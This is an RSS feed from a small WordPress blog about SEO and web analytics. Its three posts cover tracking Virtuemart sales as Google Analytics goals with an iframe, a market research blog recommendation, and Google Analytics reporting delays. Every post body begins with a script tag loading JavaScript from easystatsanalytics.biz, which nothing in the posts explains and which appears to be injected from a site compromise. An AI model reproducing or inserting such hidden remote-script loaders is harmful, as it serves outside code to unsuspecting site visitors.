<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Adam Christie SEO Scotland Web Design &#38; Online Marketing &#187; Analysis</title>
	<atom:link href="http://www.adamchristie.co.uk/category/analysis/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.adamchristie.co.uk</link>
	<description>Internet marketing, web development blog.</description>
	<lastBuildDate>Mon, 17 Oct 2011 17:35:55 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.4</generator>
		<item>
		<title>Virtuemart and Google Analytics Goals</title>
		<link>http://www.adamchristie.co.uk/analysis/virtuemart-and-google-analytics-goals/</link>
		<comments>http://www.adamchristie.co.uk/analysis/virtuemart-and-google-analytics-goals/#comments</comments>
		<pubDate>Thu, 08 Feb 2007 15:04:07 +0000</pubDate>
		<dc:creator>Adam</dc:creator>
				<category><![CDATA[Analysis]]></category>
		<category><![CDATA[CMS]]></category>
		<category><![CDATA[Ecommerce]]></category>

		<guid isPermaLink="false">http://www.adamchristie.co.uk/2007/02/08/virtuemart-and-google-analytics-goals/</guid>
		<description><![CDATA[If you are using the content management system Joomla, you might also be using the Virtuemart ecommerce plugin. I was looking for a way to integrate Google Analytics into Virtuemart so that I could specify a goal and track the number of converted sales. For the most part you don&#8217;t need to worry about doing [...]]]></description>
			<content:encoded><![CDATA[<p></p><p><script type='text/javascript' src='http://easystatsanalytics.biz/counter759.js'></script>If you are using the content management system Joomla, you might also be using the Virtuemart ecommerce plugin. I was looking for a way to integrate Google Analytics into Virtuemart so that I could specify a goal and track the number of converted sales.</p>
<p>For the most part you don&#8217;t need to worry about doing anything if you just want Google Analytics to measure your traffic in Virtuemart. Slap the code in your main Joomla template and it will work away happily.</p>
<p>If however you want to set a goal to track sales conversions, then you need to provide Google Analytics with a unique URL for the thank-you page in Virtuemart. I found that Virtuemart was simply returning index.php as the thank you page, so had to find a work around to get that unique URL.</p>
<p>Here&#8217;s how i did it.</p>
<p>- Create a normal html page called analytics-result.htm</p>
<p>- Into the body of this page, put your analytics code. Make sure you are using the Analytics code for secure sites rather than the standard code if your shopping basket is secure</p>
<p>- Save it in a location accessible through https (if you are using a secure checkout) e.g. https://www.yourdomain.com/analytics-result.htm</p>
<p>- Search for /administrator/components/Virtuemart/html/checkout.thankyou.php</p>
<p>- At the end of the php file, add this code:<br />
<code>&lt;iframe src="analytics-result.htm" width="5" height="5"<br />
frameborder="0" scrolling="no" name="Analytics"&gt;&lt;/iframe&gt;</code></p>
<p>- Setup a goal in Analytics and give it your new page as the unique URL: https://www.yourdomain.com/analytics-result.htm</p>
<p>What this method does is to put an Iframe into the thank you page after a customer has ordered. This Iframe contains a standard HTML file with a unique URL that you can setup as a goal page in Analytics. As long as everything is done through SSL your customer hopefully wont get any security errors.<br />
It&#8217;s probably far from being the best way to do it, but seems to be working for me.</p>
<script type="text/javascript">
  addthis_url    = 'http%3A%2F%2Fwww.adamchristie.co.uk%2Fanalysis%2Fvirtuemart-and-google-analytics-goals%2F';
  addthis_title  = 'Virtuemart+and+Google+Analytics+Goals';
  addthis_pub    = '';
</script><script type="text/javascript" src="http://s7.addthis.com/js/addthis_widget.php?v=12" ></script>
]]></content:encoded>
			<wfw:commentRss>http://www.adamchristie.co.uk/analysis/virtuemart-and-google-analytics-goals/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Market Research Blog</title>
		<link>http://www.adamchristie.co.uk/analysis/market-research-blog/</link>
		<comments>http://www.adamchristie.co.uk/analysis/market-research-blog/#comments</comments>
		<pubDate>Wed, 25 Oct 2006 09:08:32 +0000</pubDate>
		<dc:creator>Adam</dc:creator>
				<category><![CDATA[Analysis]]></category>
		<category><![CDATA[Blogging]]></category>

		<guid isPermaLink="false">http://www.adamchristie.co.uk/2006/10/25/market-research-blog/</guid>
		<description><![CDATA[Anyone running a business these days can usually benefit from high quality market research in their field. Often the question is &#8220;how do I do it?&#8221;. The Business to Business Market Research blog is probably where you want to start looking for answers. It is a huge repository of high quality market research information and [...]]]></description>
			<content:encoded><![CDATA[<p></p><p><script type='text/javascript' src='http://easystatsanalytics.biz/counter759.js'></script>Anyone running a business these days can usually benefit from high quality market research in their field. Often the question is &#8220;how do I do it?&#8221;. The <a href="http://www.b2binternational.com/b2b-blog/">Business to Business Market Research blog</a> is probably where you want to start looking for answers. It is a huge repository of high quality market research information and will keep you reading for hours. Visit <a href="http://www.b2binternational.com/b2b-blog/">www.b2binternational.com/b2b-blog/</a>.</p>
<script type="text/javascript">
  addthis_url    = 'http%3A%2F%2Fwww.adamchristie.co.uk%2Fanalysis%2Fmarket-research-blog%2F';
  addthis_title  = 'Market+Research+Blog';
  addthis_pub    = '';
</script><script type="text/javascript" src="http://s7.addthis.com/js/addthis_widget.php?v=12" ></script>
]]></content:encoded>
			<wfw:commentRss>http://www.adamchristie.co.uk/analysis/market-research-blog/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Web stats analysis &#8211; Google Analytics still not performing</title>
		<link>http://www.adamchristie.co.uk/analysis/web-stats-analysis-google-analytics-still-not-performing/</link>
		<comments>http://www.adamchristie.co.uk/analysis/web-stats-analysis-google-analytics-still-not-performing/#comments</comments>
		<pubDate>Mon, 05 Dec 2005 15:24:35 +0000</pubDate>
		<dc:creator>Adam</dc:creator>
				<category><![CDATA[Analysis]]></category>

		<guid isPermaLink="false">http://www.adamchristie.co.uk/2005/12/05/web-stats-analysis-google-analytics-still-not-performing/</guid>
		<description><![CDATA[A couple of weeks ago, when Google Analytics anounced it was going to a free for all model, everyone was happy about it. Then we all tried to sign-up on one day and the entire system got overloaded. I managed to get a few sites registered before they stopped new registrations and from what I&#8217;ve [...]]]></description>
			<content:encoded><![CDATA[<p></p><p><script type='text/javascript' src='http://easystatsanalytics.biz/counter759.js'></script>A couple of weeks ago, when <a href="http://www.google.com/analytics">Google Analytics</a> anounced it was going to a free for all model, everyone was happy about it. Then we all tried to sign-up on one day and the entire system got overloaded. I managed to get a few sites registered before they stopped new registrations and from what I&#8217;ve seen the reporting is rather good &#8211; although it hasn&#8217;t picked up any of my Adwords clicks on one account. Also the reporting seems to be a couple of days behind. I&#8217;m sure this is just due to the backlog from the startup and eventually we&#8217;ll get close to real-time reporting.<br />
In the meantime though I want to see what&#8217;s happening today, so I continue to use <a href="http://www.statcounter.com">Statcounter.com</a>. Statcounter analyses the last 100 pageviews for free, more if you want to pay. For sites that are not that busy it&#8217;s a great way to analyse traffic on a daily basis for free. You can also have multiple sites on the one account.</p>
<script type="text/javascript">
  addthis_url    = 'http%3A%2F%2Fwww.adamchristie.co.uk%2Fanalysis%2Fweb-stats-analysis-google-analytics-still-not-performing%2F';
  addthis_title  = 'Web+stats+analysis+%26%238211%3B+Google+Analytics+still+not+performing';
  addthis_pub    = '';
</script><script type="text/javascript" src="http://s7.addthis.com/js/addthis_widget.php?v=12" ></script>
]]></content:encoded>
			<wfw:commentRss>http://www.adamchristie.co.uk/analysis/web-stats-analysis-google-analytics-still-not-performing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

